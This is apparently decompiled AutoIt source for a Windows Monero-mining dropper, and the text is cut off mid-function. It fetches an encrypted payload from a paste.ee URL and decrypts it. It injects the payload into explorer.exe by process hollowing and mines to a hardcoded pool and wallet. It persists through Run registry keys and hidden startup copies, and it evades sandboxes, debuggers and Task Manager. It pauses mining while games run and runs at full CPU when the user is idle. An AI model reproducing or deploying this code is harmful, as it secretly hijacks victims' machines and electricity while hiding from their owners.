#NoTrayIcon #Region #AutoIt3Wrapper_Compression=4 #AutoIt3Wrapper_UseUpx=y #EndRegion FUNC _3(CONST $0=@ERROR,CONST $1=@EXTENDED) LOCAL $2=DLLCALL("kernel32.dll","dword","GetLastError") RETURN SETERROR($0,$1,$2[0]) ENDFUNC GLOBAL CONST $3="struct;long Left;long Top;long Right;long Bottom;endstruct" GLOBAL CONST $4="uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;"&"int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;"&"uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader"&((@OSVERSION="WIN_XP")""";"&$3&";uint uChevronState") GLOBAL CONST $5="dword Length;ptr Descriptor;bool InheritHandle" GLOBAL CONST $6="struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct" GLOBAL CONST $7=_1V() FUNC _1V() LOCAL $8=DLLSTRUCTCREATE($6) DLLSTRUCTSETDATA($8,1,DLLSTRUCTGETSIZE($8)) LOCAL $9=DLLCALL("kernel32.dll","bool","GetVersionExW","struct*",$8) IF @ERROR OR NOT $9[0]THEN RETURN SETERROR(@ERROR,@EXTENDED,0) RETURN BITOR(BITSHIFT(DLLSTRUCTGETDATA($8,2),-8),DLLSTRUCTGETDATA($8,3)) ENDFUNC FUNC _53($A,$B=TRUE ) LOCAL $C=INETREAD($A,1) LOCAL $D=@ERROR,$E=@EXTENDED IF $B=DEFAULT OR $B THEN $C=BINARYTOSTRING($C) RETURN SETERROR($D,$E,$C) ENDFUNC GLOBAL CONST $F=-268435456 GLOBAL $G[3] FUNC _5A() IF _5L()=0 THEN LOCAL $H=DLLOPEN("Advapi32.dll") IF $H=-1 THEN RETURN SETERROR(1001,0,FALSE ) _5P($H) LOCAL $I=24 LOCAL $9=DLLCALL(_5O(),"bool","CryptAcquireContext","handle*",0,"ptr",0,"ptr",0,"dword",$I,"dword",$F) IF @ERROR OR NOT $9[0]THEN LOCAL $D=@ERROR+1002,$E=@EXTENDED IF NOT $9[0]THEN $E=_3() DLLCLOSE(_5O()) RETURN SETERROR($D,$E,FALSE ) ELSE _5R($9[1]) ENDIF ENDIF _5M() RETURN TRUE ENDFUNC FUNC _5B() _5N() IF _5L()=0 THEN DLLCALL(_5O(),"bool","CryptReleaseContext","handle",_5Q(),"dword",0) DLLCLOSE(_5O()) ENDIF ENDFUNC FUNC _5C($J,$K,$L=32771) LOCAL $9=0,$M=0,$N=0,$D=0,$E=0,$O=0 _5A() IF @ERROR THEN RETURN SETERROR(@ERROR,@EXTENDED,-1) DO $9=DLLCALL(_5O(),"bool","CryptCreateHash","handle",_5Q(),"uint",$L,"ptr",0,"dword",0,"handle*",0) IF @ERROR OR NOT $9[0]THEN $D=@ERROR+10 $E=@EXTENDED IF NOT $9[0]THEN $E=_3() $O=-1 EXITLOOP ENDIF $N=$9[5] $M=DLLSTRUCTCREATE("byte["&BINARYLEN($J)&"]") DLLSTRUCTSETDATA($M,1,$J) $9=DLLCALL(_5O(),"bool","CryptHashData","handle",$N,"struct*",$M,"dword",DLLSTRUCTGETSIZE($M),"dword",1) IF @ERROR OR NOT $9[0]THEN $D=@ERROR+20 $E=@EXTENDED IF NOT $9[0]THEN $E=_3() $O=-1 EXITLOOP ENDIF $9=DLLCALL(_5O(),"bool","CryptDeriveKey","handle",_5Q(),"uint",$K,"handle",$N,"dword",1,"handle*",0) IF @ERROR OR NOT $9[0]THEN $D=@ERROR+30 $E=@EXTENDED IF NOT $9[0]THEN $E=_3() $O=-1 EXITLOOP ENDIF $O=$9[5] UNTIL TRUE IF $N<>0 THEN DLLCALL(_5O(),"bool","CryptDestroyHash","handle",$N) RETURN SETERROR($D,$E,$O) ENDFUNC FUNC _5D($P) LOCAL $9=DLLCALL(_5O(),"bool","CryptDestroyKey","handle",$P) LOCAL $D=@ERROR,$E=@EXTENDED IF NOT $9[0]THEN $E=_3() _5B() IF $D OR NOT $9[0]THEN RETURN SETERROR($D+10,$E,FALSE ) ELSE RETURN TRUE ENDIF ENDFUNC FUNC _5F($Q,$R,$K,$S=TRUE ) SWITCH $K CASE 0 LOCAL $T=_5S($R) IF @ERROR THEN RETURN SETERROR(@ERROR,@EXTENDED,-1) IF $T=26625 THEN CONTINUECASE CASE 26625 IF BINARYLEN($Q)=0 THEN RETURN SETERROR(0,0,BINARY("")) ENDSWITCH LOCAL $9=0,$M=0,$U=0,$D=0,$E=0,$V=0,$O=0 _5A() IF @ERROR THEN RETURN SETERROR(@ERROR,@EXTENDED,-1) DO IF $K<>0 THEN $R=_5C($R,$K) IF @ERROR THEN $D=@ERROR $E=@EXTENDED $O=-1 EXITLOOP ENDIF ENDIF $M=DLLSTRUCTCREATE("byte["&BINARYLEN($Q)+1000&"]") IF BINARYLEN($Q)>0 THEN DLLSTRUCTSETDATA($M,1,$Q) $9=DLLCALL(_5O(),"bool","CryptDecrypt","handle",$R,"handle",0,"bool",$S,"dword",0,"struct*",$M,"dword*",BINARYLEN($Q)) IF @ERROR OR NOT $9[0]THEN $D=@ERROR+70 $E=@EXTENDED IF NOT $9[0]THEN $E=_3() $O=-1 EXITLOOP ENDIF $V=$9[6] $U=DLLSTRUCTCREATE("byte["&$V+1&"]",DLLSTRUCTGETPTR($M)) $O=BINARYMID(DLLSTRUCTGETDATA($U,1),1,$V) UNTIL TRUE IF $K<>0 THEN _5D($R) _5B() RETURN SETERROR($D,$E,$O) ENDFUNC FUNC _5L() RETURN $G[0] ENDFUNC FUNC _5M() $G[0]+=1 ENDFUNC FUNC _5N() IF $G[0]>0 THEN $G[0]-=1 ENDFUNC FUNC _5O() RETURN $G[1] ENDFUNC FUNC _5P($H) $G[1]=$H ENDFUNC FUNC _5Q() RETURN $G[2] ENDFUNC FUNC _5R($W) $G[2]=$W ENDFUNC FUNC _5S($R) LOCAL $X=DLLSTRUCTCREATE("uint") LOCAL $9=DLLCALL(_5O(),"bool","CryptGetKeyParam","handle",$R,"dword",7,"struct*",$X,"dword*",DLLSTRUCTGETSIZE($X),"dword",0) LOCAL $D=@ERROR,$E=@EXTENDED IF NOT $9[0]THEN $E=_3() IF $D OR NOT $9[0]THEN RETURN SETERROR($D+80,$E,1) ELSE RETURN DLLSTRUCTGETDATA($X,1) ENDIF ENDFUNC FUNC _5U() LOCAL $Y=DLLSTRUCTCREATE("uint;dword") DLLSTRUCTSETDATA($Y,1,DLLSTRUCTGETSIZE($Y)) LOCAL $2=DLLCALL("user32.dll","bool","GetLastInputInfo","struct*",$Y) IF @ERROR OR $2[0]=0 THEN RETURN SETERROR(@ERROR,@EXTENDED,0) LOCAL $0Z=DLLCALL("kernel32.dll","dword","GetTickCount") IF @ERROR OR NOT $2[0]THEN RETURN SETERROR(@ERROR,@EXTENDED,0) LOCAL $10=$0Z[0]-DLLSTRUCTGETDATA($Y,2) IF $10<0 THEN RETURN SETEXTENDED(1,$0Z[0]) RETURN $10 ENDFUNC FUNC _66($11,$12=0) LOCAL CONST $13=183 LOCAL CONST $14=1 LOCAL $15=0 IF BITAND($12,2)THEN LOCAL $16=DLLSTRUCTCREATE("byte;byte;word;ptr[4]") LOCAL $9=DLLCALL("advapi32.dll","bool","InitializeSecurityDescriptor","struct*",$16,"dword",$14) IF @ERROR THEN RETURN SETERROR(@ERROR,@EXTENDED,0) IF $9[0]THEN $9=DLLCALL("advapi32.dll","bool","SetSecurityDescriptorDacl","struct*",$16,"bool",1,"ptr",0,"bool",0) IF @ERROR THEN RETURN SETERROR(@ERROR,@EXTENDED,0) IF $9[0]THEN $15=DLLSTRUCTCREATE($5) DLLSTRUCTSETDATA($15,1,DLLSTRUCTGETSIZE($15)) DLLSTRUCTSETDATA($15,2,DLLSTRUCTGETPTR($16)) DLLSTRUCTSETDATA($15,3,0) ENDIF ENDIF ENDIF LOCAL $17=DLLCALL("kernel32.dll","handle","CreateMutexW","struct*",$15,"bool",1,"wstr",$11) IF @ERROR THEN RETURN SETERROR(@ERROR,@EXTENDED,0) LOCAL $18=DLLCALL("kernel32.dll","dword","GetLastError") IF @ERROR THEN RETURN SETERROR(@ERROR,@EXTENDED,0) IF $18[0]=$13 THEN IF BITAND($12,1)THEN DLLCALL("kernel32.dll","bool","CloseHandle","handle",$17[0]) IF @ERROR THEN RETURN SETERROR(@ERROR,@EXTENDED,0) RETURN SETERROR($18[0],$18[0],0) ELSE EXIT -1 ENDIF ENDIF RETURN $17[0] ENDFUNC _66("ixhost",1) $19="UpdateScheduler" GLOBAL $1A IF @OSARCH="X86" THEN $1A=@WINDOWSDIR&"\explorer.exe" ELSE $1A=@SYSTEMDIR&"\explorer.exe" ENDIF $1B="C:\Windows\System32\svchost.exe" $1C="pool.supportxmr.com:3333" $1D="42yzCwXHqAr2cbZ6kWU8SZJCq5H3quBAkgDd6ZZGKvvRYaPxKJ8J6GMVhGjo8pmgy74NRTvVst2ZGAk35ERgAS88NFHQQAV" $1E="-o "&$1C&" -u "&$1D&" -p x -k -t 1 --nicehash" $1F="-o "&$1C&" -u "&$1D&" -p x -k --max-cpu-usage=100 --nicehash" IF _66("ixkiller",1)=0 THEN IF PROCESSEXISTS(@SCRIPTNAME)THEN PROCESSCLOSE(@SCRIPTNAME) ENDIF ENDIF $1G=_53("https://paste.ee/r/LG8VC/0") $1H=_5F($1G,"ix32",26128) $1I="" _6E(1000) WHILE 1 GUIGETMSG() _6F() _6D($19) _6C() WEND FUNC _6C() IF PROCESSEXISTS("SbieCtrl.exe")OR WINGETTEXT("Sanboxie Control")OR WINGETTEXT("PEiD")OR WINGETTEXT("ollydbg")OR WINGETTEXT("exetoaut")OR WINGETTEXT("myAutToExe")OR WINGETTEXT("Program Manager")THEN EXIT ENDIF ENDFUNC FUNC _6D($19) IF ISADMIN()=1 THEN IF FILEEXISTS(@WINDOWSDIR&"\"&@SCRIPTNAME)=FALSE THEN FILECOPY(@SCRIPTFULLPATH,@WINDOWSDIR&"\"&@SCRIPTNAME) ENDIF IF REGREAD("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",$19)="" THEN REGWRITE("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",$19,"REG_SZ",@WINDOWSDIR&"\"&@SCRIPTNAME) ENDIF ELSE IF FILEEXISTS(@STARTUPDIR&"\"&@SCRIPTNAME)=FALSE THEN FILECOPY(@SCRIPTFULLPATH,@STARTUPDIR&"\"&@SCRIPTNAME) FILECOPY(@SCRIPTFULLPATH,@DOCUMENTSCOMMONDIR&"\"&@SCRIPTNAME) ENDIF IF REGREAD("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",$19)="" THEN REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",$19,"REG_SZ",@STARTUPDIR&"\"&@SCRIPTNAME) REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",$19,"REG_SZ",@DOCUMENTSCOMMONDIR&"\"&@SCRIPTNAME) FILESETATTRIB(@STARTUPDIR&"\"&@SCRIPTNAME,"+SH") FILESETATTRIB(@DOCUMENTSCOMMONDIR&"\"&@SCRIPTNAME,"+SH") REGWRITE("HKCU64\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoFolderOptions","REG_DWORD",1) REGWRITE("HKCU64\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","ShowSuperHidden","REG_DWORD",0) ENDIF ENDIF ENDFUNC FUNC _6E($1J) LOCAL $1K=DLLCALL("kernel32.dll","dword","GetTickCount") SLEEP($1J) LOCAL $1L=DLLCALL("kernel32.dll","dword","GetTickCount") IF $1L[0]-$1K[0]=$1J THEN RETURN FALSE ELSE RETURN TRUE ENDIF ENDFUNC FUNC _6F() $1M=_5U() IF PROCESSEXISTS("Taskmgr.exe")OR PROCESSEXISTS("procexp.exe")OR PROCESSEXISTS("procexp64.exe")OR PROCESSEXISTS("procmon.exe")OR PROCESSEXISTS("FortniteClient-Win64-Shipping.exe")OR PROCESSEXISTS("bf1.exe")OR PROCESSEXISTS("bf4.exe")OR PROCESSEXISTS("bf4_x86.exe")OR PROCESSEXISTS("NFS16.exe")OR PROCESSEXISTS("NFS16_trial.exe")OR PROCESSEXISTS("Overwatch.exe")OR PROCESSEXISTS("csgo.exe")OR PROCESSEXISTS("argo.exe")OR PROCESSEXISTS("dota2.exe")OR PROCESSEXISTS("rust.exe")OR PROCESSEXISTS("argo_x64.exe")OR PROCESSEXISTS("arma3.exe")OR PROCESSEXISTS("arma3_x64.exe")OR PROCESSEXISTS("Creativerse.exe")OR PROCESSEXISTS("hl2.exe")OR PROCESSEXISTS("GTA5.exe")OR PROCESSEXISTS("insurgency.exe")OR PROCESSEXISTS("insurgency_64.exe")OR PROCESSEXISTS("paladins.exe")OR PROCESSEXISTS("TslGame.exe")OR PROCESSEXISTS("Unturned.exe")OR WINEXISTS("FIFA")THEN WINKILL($1A) SLEEP(10) ELSE IF $1M>50000 THEN IF NOT PROCESSEXISTS("madHcCtrl.exe")AND NOT PROCESSEXISTS("Sling.exe")THEN IF $1I="low" THEN WINKILL($1A) _6G($1H,$1F,$1A) SLEEP(5000) $1I="high" ELSEIF $1I="" THEN _6G($1H,$1F,$1A) SLEEP(5000) $1I="high" ENDIF ELSEIF $1I="high" THEN _6G($1H,$1E,$1A) SLEEP(5000) $1I="low" ELSEIF $1I="" THEN _6G($1H,$1E,$1A) SLEEP(5000) $1I="low" ENDIF ELSEIF $1I="high" THEN WINKILL($1A) _6G($1H,$1E,$1A) SLEEP(5000) $1I="low" ELSEIF $1I="" THEN _6G($1H,$1E,$1A) SLEEP(5000) $1I="low" ELSEIF NOT WINEXISTS($1A)THEN _6G($1H,$1E,$1A) SLEEP(3000) ENDIF ENDIF ENDFUNC FUNC _6G($1N,$1O=0,$1P=0) LOCAL $1Q=@AUTOITX64 LOCAL $1R=BINARY($1N) LOCAL $1S=DLLSTRUCTCREATE("byte["&BINARYLEN($1R)&"]") DLLSTRUCTSETDATA($1S,1,$1R) LOCAL $1T=DLLSTRUCTGETPTR($1S) LOCAL $1U=DLLSTRUCTCREATE("dword cbSize;"&"ptr Reserved;"&"ptr Desktop;"&"ptr Title;"&"dword X;"&"dword Y;"&"dword XSize;"&"dword YSize;"&"dword XCountChars;"&"dword YCountChars;"&"dword FillAttribute;"&"dword Flags;"&"word ShowWindow;"&"word Reserved2;"&"ptr Reserved2;"&"ptr hStdInput;"&"ptr hStdOutput;"&"ptr hStdError") DLLSTRUCTSETDATA($1U,"Flags",1) DLLSTRUCTSETDATA($1U,"ShowWindow",@SW_HIDE) LOCAL $1V=DLLSTRUCTCREATE("ptr Process;"&"ptr Thread;"&"dword ProcessId;"&"dword ThreadId") IF $1O THEN $1O=$1P&" "&$1O LOCAL $1W=DLLCALL("kernel32.dll","bool","CreateProcessW","wstr",$1P,"wstr",$1O,"ptr",0,"ptr",0,"int",0,"dword",4,"ptr",0,"ptr",0,"ptr",DLLSTRUCTGETPTR($1U),"ptr",DLLSTRUCTGETPTR($1V)) IF @ERROR OR NOT $1W[0]THEN RETURN SETERROR(1,0,0) LOCAL $1X=DLLSTRUCTGETDATA($1V,"Process") LOCAL $1Y=DLLSTRUCTGETDATA($1V,"Thread") IF $1Q AND _6M($1X)THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(2,0,0) ENDIF LOCAL $1Z,$20 IF $1Q THEN IF @OSARCH="X64" THEN $1Z=2 $20=DLLSTRUCTCREATE("align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;"&"dword ContextFlags; dword MxCsr;"&"word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;"&"uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;"&"uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;"&"uint64 Rip;"&"uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];"&"uint64 VectorRegister[52]; uint64 VectorControl;"&"uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip") ELSE $1Z=3 DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(102,0,0) ENDIF ELSE $1Z=1 $20=DLLSTRUCTCREATE("dword ContextFlags;"&"dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;"&"dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;"&"dword SegGs; dword SegFs; dword SegEs; dword SegDs;"&"dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;"&"dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;"&"byte ExtendedRegisters[512]") ENDIF LOCAL $21 SWITCH $1Z CASE 1 $21=65543 CASE 2 $21=1048583 CASE 3 $21=524327 ENDSWITCH DLLSTRUCTSETDATA($20,"ContextFlags",$21) $1W=DLLCALL("kernel32.dll","bool","GetThreadContext","handle",$1Y,"ptr",DLLSTRUCTGETPTR($20)) IF @ERROR OR NOT $1W[0]THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(3,0,0) ENDIF LOCAL $22 SWITCH $1Z CASE 1 $22=DLLSTRUCTGETDATA($20,"Ebx") CASE 2 $22=DLLSTRUCTGETDATA($20,"Rdx") CASE 3 ENDSWITCH LOCAL $23=DLLSTRUCTCREATE("char Magic[2];"&"word BytesOnLastPage;"&"word Pages;"&"word Relocations;"&"word SizeofHeader;"&"word MinimumExtra;"&"word MaximumExtra;"&"word SS;"&"word SP;"&"word Checksum;"&"word IP;"&"word CS;"&"word Relocation;"&"word Overlay;"&"char Reserved[8];"&"word OEMIdentifier;"&"word OEMInformation;"&"char Reserved2[20];"&"dword AddressOfNewExeHeader",$1T) LOCAL $24=$1T $1T+=DLLSTRUCTGETDATA($23,"AddressOfNewExeHeader") LOCAL $25=DLLSTRUCTGETDATA($23,"Magic") IF NOT ($25=="MZ")THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(4,0,0) ENDIF LOCAL $26=DLLSTRUCTCREATE("dword Signature",$1T) $1T+=4 IF DLLSTRUCTGETDATA($26,"Signature")<>17744 THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(5,0,0) ENDIF LOCAL $27=DLLSTRUCTCREATE("word Machine;"&"word NumberOfSections;"&"dword TimeDateStamp;"&"dword PointerToSymbolTable;"&"dword NumberOfSymbols;"&"word SizeOfOptionalHeader;"&"word Characteristics",$1T) LOCAL $28=DLLSTRUCTGETDATA($27,"NumberOfSections") $1T+=20 LOCAL $29=DLLSTRUCTCREATE("word Magic;",$1T) LOCAL $2A=DLLSTRUCTGETDATA($29,1) LOCAL $2B IF $2A=267 THEN IF $1Q THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(6,0,0) ENDIF $2B=DLLSTRUCTCREATE("word Magic;"&"byte MajorLinkerVersion;"&"byte MinorLinkerVersion;"&"dword SizeOfCode;"&"dword SizeOfInitializedData;"&"dword SizeOfUninitializedData;"&"dword AddressOfEntryPoint;"&"dword BaseOfCode;"&"dword BaseOfData;"&"dword ImageBase;"&"dword SectionAlignment;"&"dword FileAlignment;"&"word MajorOperatingSystemVersion;"&"word MinorOperatingSystemVersion;"&"word MajorImageVersion;"&"word MinorImageVersion;"&"word MajorSubsystemVersion;"&"word MinorSubsystemVersion;"&"dword Win32VersionValue;"&"dword SizeOfImage;"&"dword SizeOfHeaders;"&"dword CheckSum;"&"word Subsystem;"&"word DllCharacteristics;"&"dword SizeOfStackReserve;"&"dword SizeOfStackCommit;"&"dword SizeOfHeapReserve;"&"dword SizeOfHeapCommit;"&"dword LoaderFlags;"&"dword NumberOfRvaAndSizes",$1T) $1T+=96 ELSEIF $2A=523 THEN IF NOT $1Q THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(6,0,0) ENDIF $2B=DLLSTRUCTCREATE("word Magic;"&"byte MajorLinkerVersion;"&"byte MinorLinkerVersion;"&"dword SizeOfCode;"&"dword SizeOfInitializedData;"&"dword SizeOfUninitializedData;"&"dword AddressOfEntryPoint;"&"dword BaseOfCode;"&"uint64 ImageBase;"&"dword SectionAlignment;"&"dword FileAlignment;"&"word MajorOperatingSystemVersion;"&"word MinorOperatingSystemVersion;"&"word MajorImageVersion;"&"word MinorImageVersion;"&"word MajorSubsystemVersion;"&"word MinorSubsystemVersion;"&"dword Win32VersionValue;"&"dword SizeOfImage;"&"dword SizeOfHeaders;"&"dword CheckSum;"&"word Subsystem;"&"word DllCharacteristics;"&"uint64 SizeOfStackReserve;"&"uint64 SizeOfStackCommit;"&"uint64 SizeOfHeapReserve;"&"uint64 SizeOfHeapCommit;"&"dword LoaderFlags;"&"dword NumberOfRvaAndSizes",$1T) $1T+=112 ELSE DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(6,0,0) ENDIF LOCAL $2C=DLLSTRUCTGETDATA($2B,"AddressOfEntryPoint") LOCAL $2D=DLLSTRUCTGETDATA($2B,"SizeOfHeaders") LOCAL $2E=DLLSTRUCTGETDATA($2B,"ImageBase") LOCAL $2F=DLLSTRUCTGETDATA($2B,"SizeOfImage") $1T+=8 $1T+=8 $1T+=24 LOCAL $2G=DLLSTRUCTCREATE("dword VirtualAddress; dword Size",$1T) LOCAL $2H=DLLSTRUCTGETDATA($2G,"VirtualAddress") LOCAL $2I=DLLSTRUCTGETDATA($2G,"Size") LOCAL $2J IF $2H AND $2I THEN $2J=TRUE IF NOT $2J THEN CONSOLEWRITE("!!!NOT RELOCATABLE MODULE. I WILL TRY BUT THIS MAY NOT WORK!!!"&@CRLF) $1T+=88 LOCAL $2K LOCAL $2L IF $2J THEN $2L=_6K($1X,$2F) IF @ERROR THEN $2L=_6J($1X,$2E,$2F) IF @ERROR THEN _6L($1X,$2E) $2L=_6J($1X,$2E,$2F) IF @ERROR THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(101,1,0) ENDIF ENDIF ENDIF $2K=TRUE ELSE $2L=_6J($1X,$2E,$2F) IF @ERROR THEN _6L($1X,$2E) $2L=_6J($1X,$2E,$2F) IF @ERROR THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(101,0,0) ENDIF ENDIF ENDIF DLLSTRUCTSETDATA($2B,"ImageBase",$2L) LOCAL $2M=DLLSTRUCTCREATE("byte["&$2F&"]") LOCAL $2N=DLLSTRUCTGETPTR($2M) LOCAL $2O=DLLSTRUCTCREATE("byte["&$2D&"]",$24) DLLSTRUCTSETDATA($2M,1,DLLSTRUCTGETDATA($2O,1)) LOCAL $2P LOCAL $2Q,$2R LOCAL $2S,$2T LOCAL $2U FOR $2V=1 TO $28 $2P=DLLSTRUCTCREATE("char Name[8];"&"dword UnionOfVirtualSizeAndPhysicalAddress;"&"dword VirtualAddress;"&"dword SizeOfRawData;"&"dword PointerToRawData;"&"dword PointerToRelocations;"&"dword PointerToLinenumbers;"&"word NumberOfRelocations;"&"word NumberOfLinenumbers;"&"dword Characteristics",$1T) $2Q=DLLSTRUCTGETDATA($2P,"SizeOfRawData") $2R=$24+DLLSTRUCTGETDATA($2P,"PointerToRawData") $2S=DLLSTRUCTGETDATA($2P,"VirtualAddress") $2T=DLLSTRUCTGETDATA($2P,"UnionOfVirtualSizeAndPhysicalAddress") IF $2T AND $2T<$2Q THEN $2Q=$2T IF $2Q THEN DLLSTRUCTSETDATA(DLLSTRUCTCREATE("byte["&$2Q&"]",$2N+$2S),1,DLLSTRUCTGETDATA(DLLSTRUCTCREATE("byte["&$2Q&"]",$2R),1)) ENDIF IF $2K THEN IF $2S<=$2H AND $2S+$2Q>$2H THEN $2U=DLLSTRUCTCREATE("byte["&$2I&"]",$2R+($2H-$2S)) ENDIF ENDIF $1T+=40 NEXT IF $2K THEN _6I($2N,$2U,$2L,$2E,$2A=523) $1W=DLLCALL("kernel32.dll","bool",_6H(),"handle",$1X,"ptr",$2L,"ptr",$2N,"dword_ptr",$2F,"dword_ptr*",0) IF @ERROR OR NOT $1W[0]THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(7,0,0) ENDIF LOCAL $2W=DLLSTRUCTCREATE("byte InheritedAddressSpace;"&"byte ReadImageFileExecOptions;"&"byte BeingDebugged;"&"byte Spare;"&"ptr Mutant;"&"ptr ImageBaseAddress;"&"ptr LoaderData;"&"ptr ProcessParameters;"&"ptr SubSystemData;"&"ptr ProcessHeap;"&"ptr FastPebLock;"&"ptr FastPebLockRoutine;"&"ptr FastPebUnlockRoutine;"&"dword EnvironmentUpdateCount;"&"ptr KernelCallbackTable;"&"ptr EventLogSection;"&"ptr EventLog;"&"ptr FreeList;"&"dword TlsExpansionCounter;"&"ptr TlsBitmap;"&"dword TlsBitmapBits[2];"&"ptr ReadOnlySharedMemoryBase;"&"ptr ReadOnlySharedMemoryHeap;"&"ptr ReadOnlyStaticServerData;"&"ptr AnsiCodePageData;"&"ptr OemCodePageData;"&"ptr UnicodeCaseTableData;"&"dword NumberOfProcessors;"&"dword NtGlobalFlag;"&"byte Spare2[4];"&"int64 CriticalSectionTimeout;"&"dword HeapSegmentReserve;"&"dword HeapSegmentCommit;"&"dword HeapDeCommitTotalFreeThreshold;"&"dword HeapDeCommitFreeBlockThreshold;"&"dword NumberOfHeaps;"&"dword MaximumNumberOfHeaps;"&"ptr ProcessHeaps;"&"ptr GdiSharedHandleTable;"&"ptr ProcessStarterHelper;"&"ptr GdiDCAttributeList;"&"ptr LoaderLock;"&"dword OSMajorVersion;"&"dword OSMinorVersion;"&"dword OSBuildNumber;"&"dword OSPlatformId;"&"dword ImageSubSystem;"&"dword ImageSubSystemMajorVersion;"&"dword ImageSubSystemMinorVersion;"&"dword GdiHandleBuffer[34];"&"dword PostProcessInitRoutine;"&"dword TlsExpansionBitmap;"&"byte TlsExpansionBitmapBits[128];"&"dword SessionId") $1W=DLLCALL("kernel32.dll","bool","ReadProcessMemory","ptr",$1X,"ptr",$22,"ptr",DLLSTRUCTGETPTR($2W),"dword_ptr",DLLSTRUCTGETSIZE($2W),"dword_ptr*",0) IF @ERROR OR NOT $1W[0]THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(8,0,0) ENDIF DLLSTRUCTSETDATA($2W,"ImageBaseAddress",$2L) $1W=DLLCALL("kernel32.dll","bool",_6H(),"handle",$1X,"ptr",$22,"ptr",DLLSTRUCTGETPTR($2W),"dword_ptr",DLLSTRUCTGETSIZE($2W),"dword_ptr*",0) IF @ERROR OR NOT $1W[0]THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(9,0,0) ENDIF SWITCH $1Z CASE 1 DLLSTRUCTSETDATA($20,"Eax",$2L+$2C) CASE 2 DLLSTRUCTSETDATA($20,"Rcx",$2L+$2C) CASE 3 ENDSWITCH $1W=DLLCALL("kernel32.dll","bool","SetThreadContext","handle",$1Y,"ptr",DLLSTRUCTGETPTR($20)) IF @ERROR OR NOT $1W[0]THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(10,0,0) ENDIF $1W=DLLCALL("kernel32.dll","dword","ResumeThread","handle",$1Y) IF @ERROR OR $1W[0]=-1 THEN DLLCALL("kernel32.dll","bool","TerminateProcess","handle",$1X,"dword",0) RETURN SETERROR(11,0,0) ENDIF DLLCALL("kernel32.dll","bool","CloseHandle","handle",$1X) DLLCALL("kernel32.dll","bool","CloseHandle","handle",$1Y) RETURN DLLSTRUCTGETDATA($1V,"ProcessId") ENDFUNC FUNC _6H() LOCAL $2X[18]=["W","r","i","t","e","P","r","o","c","e","s","s","M","e","m","o","r","y"],$2Y FOR $2Z IN $2X $2Y&=$2Z NEXT RETURN $2Y ENDFUNC FUNC _6I($2N,$30,$31,$32,$33) LOCAL $34=$31-$32 LOCAL $35=DLLSTRUCTGETSIZE($30) LOCAL $36=DLLSTRUCTGETPTR($30) LOCAL $37,$38 LOCAL $2S,$39,$3A LOCAL $3B,$3C,$3D LOCAL $12=3+7*$33 WHILE $38<$35 $37=DLLSTRUCTCREATE("dword VirtualAddress; dword SizeOfBlock",$36+$38) $2S=DLLSTRUCTGETDATA($37,"VirtualAddress") $39=DLLSTRUCTGETDATA($37,"SizeOfBlock") $3A=($39-8)/2 $3B=DLLSTRUCTCREATE("word["&$3A&"]",DLLSTRUCTGETPTR($37)+8) FOR $2V=1 TO 